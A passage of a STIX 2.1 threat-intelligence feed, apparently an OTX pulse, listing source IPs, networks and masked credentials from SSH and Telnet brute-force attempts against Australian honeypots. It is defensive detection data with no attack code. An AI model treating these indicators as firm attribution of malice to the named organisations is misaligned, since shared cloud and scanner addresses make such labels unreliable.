      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56047. Organisation(s): China Mobile communications corporation. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, r********6.",
      "id": "indicator--7b1dc8be-b988-4221-abc4-cba4810b1c9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.23.129.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, t**t, 3**********4, a********r, f*****r. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1****6.",
      "id": "indicator--fc5aa9b7-d3e4-4ad6-880b-cd17b1798267",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.179.119.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 17552. Organisation(s): True Online. Usernames observed (masked): r**t, u****u, a*****a, b****x, d******r. Passwords observed (masked): 1***5, 1**********c, 3***********4, ***, a***n.",
      "id": "indicator--7e4d77c3-1172-48b0-9044-1c14214da920",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.121.31.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--86e84519-e9c7-454e-8a6b-e78bae154754",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.117.157.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, t**t, t*****t, u**r, 3**********4. Passwords observed (masked): *, ***, 3***********4, 3**********4, a****a.",
      "id": "indicator--56a3cb82-0791-46ba-8db4-679255576602",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.171.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 280. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 13213. Organisation(s): Thg Hosting Limited.",
      "id": "indicator--5de5d58d-1066-4bfd-b2ab-0560aa87d91d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '174.127.120.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 264628. Organisation(s): CORPORACION FIBEX TELECOM, C.A..",
      "id": "indicator--678efa30-743b-4470-9399-db13eba33102",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.89.30.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 230. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): u****u, 3**********4, r**t, f****e, h****p. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1***5, 1*******9.",
      "id": "indicator--4f54d45e-21c8-4b09-b17c-b4f906cbf062",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.24.137.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--a307b9e1-164d-4b04-a131-f01ba35b3555",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.127.97.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9304. Organisation(s): HGC Global Communications Limited. Usernames observed (masked): u****u, a***n, h****p, r**t, 3**********4. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1*******3, 1***5.",
      "id": "indicator--18f4dc6f-1279-4cf0-aa80-1ad9045a472c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.127.183.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PA. ASN(s): 267784. Organisation(s): Flyservers S.A..",
      "id": "indicator--e6881d09-44ef-40f0-be40-8ceb1a9372ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.227.254.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): a***n, u****u, r**t, 3**********4, t**t. Passwords observed (masked): 3***********4, 3**********4, ***, 1********5, ***.",
      "id": "indicator--52fd5203-7bb9-4def-9b14-9bbe516e2d47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.75.194.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 271. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 136258. Organisation(s): BrainStorm Network, Inc.",
      "id": "indicator--ce1250b8-e963-42be-9621-bf953c2a1d2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.31.63.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--3a0ddeb5-8b2e-4c00-b895-8d6c601361f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--fff160e9-0dae-490c-a3df-3f794b4fb3ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--07f4c969-98be-4f62-bb7c-c04e7403d635",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--a01666cb-bea7-4cfb-bd74-80af47c1b904",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '98.93.19.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 137823. Organisation(s): cloudone.",
      "id": "indicator--ec621991-45f4-4841-8634-918bcc2fbdea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.115.24.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:15:10.000Z",
      "valid_until": "2026-06-05T02:15:08.000Z"
    },
    {
      "created": "2026-05-04T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 136319. Organisation(s): Acebrowse Private Ltd.",
      "id": "indicator--d3afcc92-4088-46c1-8974-4cf4d8a2a99f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.91.162.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:15:10.000Z",
      "valid_until": "2026-06-05T02:15:08.000Z"
    },
    {
      "created": "2026-05-04T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--7f605ab6-9c2d-42cf-a514-62f5fda4e437",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.172.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:15:10.000Z",
      "valid_until": "2026-06-05T02:15:08.000Z"
    },
    {
      "created": "2026-05-04T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262470. Organisation(s): Pontenet Teleinformatica Ltda..",
      "id": "indicator--1e399649-6fb0-41a3-8e4e-da762fcb518e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.47.202.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:15:10.000Z",
      "valid_until": "2026-06-05T02:15:08.000Z"
    },
    {
      "created": "2026-05-04T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 28075. Organisation(s): ARLINK S.A..",
      "id": "indicator--29ed8b54-ff7a-4b99-988a-045c81e8ca87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.118.120.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:15:10.000Z",
      "valid_until": "2026-06-05T02:15:08.000Z"
    },
    {
      "created": "2026-05-04T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27717. Organisation(s): Corporacion Digitel C.A..",
      "id": "indicator--619aa5eb-c1f7-49be-aa98-726bcdb5d1e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.167.81.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:15:10.000Z",
      "valid_until": "2026-06-05T02:15:08.000Z"
    },
    {
      "created": "2026-05-04T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 11706. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--5394fc91-7043-49cd-92af-ae719a52ac6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.176.15.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:15:10.000Z",
      "valid_until": "2026-06-05T02:15:08.000Z"
    },
    {
      "created": "2026-05-04T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 267708. Organisation(s): SP SISTEMAS PALACIOS LTDA.",
      "id": "indicator--99a669bc-4e6b-4d1d-8157-407ae30af97f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.182.248.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:15:10.000Z",
      "valid_until": "2026-06-05T02:15:08.000Z"
    },
    {
      "created": "2026-05-04T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8ac3242a-d40b-4050-98a5-d6a46be6afb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.74.7.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:15:10.000Z",
      "valid_until": "2026-06-05T02:15:08.000Z"
    },
    {
      "created": "2026-05-04T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 131414. Organisation(s): Long Van Soft Solution JSC.",
      "id": "indicator--d2076ee5-7f8c-4246-8bea-fed0e2b4c6bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.118.146.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:15:10.000Z",
      "valid_until": "2026-06-05T02:15:08.000Z"
    },
    {
      "created": "2026-05-04T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:15:10.000Z",
      "valid_until": "2026-06-05T02:15:08.000Z"
    },
    {
      "created": "2026-05-04T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 5432. Organisation(s): Proximus NV.",
      "id": "indicator--c24863b4-00a5-4325-9d0a-c40fdf71d032",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.201.83.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:15:10.000Z",
      "valid_until": "2026-06-05T02:15:08.000Z"
    },
    {
      "created": "2026-05-04T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 35728. Organisation(s): MTS PJSC.",
      "id": "indicator--0d79a540-d78c-4888-a8d6-d5589e99b177",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.140.44.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:15:10.000Z",
      "valid_until": "2026-06-05T02:15:08.000Z"
    },
    {
      "created": "2026-05-04T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--f1eb05a0-9b93-4bfc-aed5-9e2d8c20c9dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.174.235.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:15:10.000Z",
      "valid_until": "2026-06-05T02:15:08.000Z"
    },
    {
      "created": "2026-05-04T03:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, r**t.",
      "id": "indicator--21d3b73f-970c-4896-870e-22d7f5611f09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T03:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.67.93.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T03:16:01.000Z",
      "valid_until": "2026-06-05T03:15:08.000Z"
    },
    {
      "created": "2026-05-04T03:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 6147. Organisation(s): INTEGRATEL PERU S.A.A.. Usernames observed (masked): u****u. Passwords observed (masked): u******2.",
      "id": "indicator--d7bb97f1-6baf-43c4-b4e4-8f4fbf47bc38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T03:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.79.37.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T03:16:01.000Z",
      "valid_until": "2026-06-05T03:15:08.000Z"
    },
    {
      "created": "2026-05-04T03:16:01.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 52468. Organisation(s): UFINET PANAMA S.A..",
      "id": "indicator--9368c774-7ccb-4d39-ba90-a8d969948c8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T03:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.78.67.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T03:16:01.000Z",
      "valid_until": "2026-06-05T03:15:08.000Z"
    },
    {
      "created": "2026-05-04T03:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): t***2. Passwords observed (masked): 2***t.",
      "id": "indicator--55feeac1-07d6-4af8-9749-9a0ddc48d100",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T03:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.193.141.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T03:16:01.000Z",
      "valid_until": "2026-06-05T03:15:08.000Z"
    },
    {
      "created": "2026-05-04T03:16:01.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--21bc2aa5-0c5d-41d5-8c1f-bef8ab08fa7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T03:16:01.000Z",
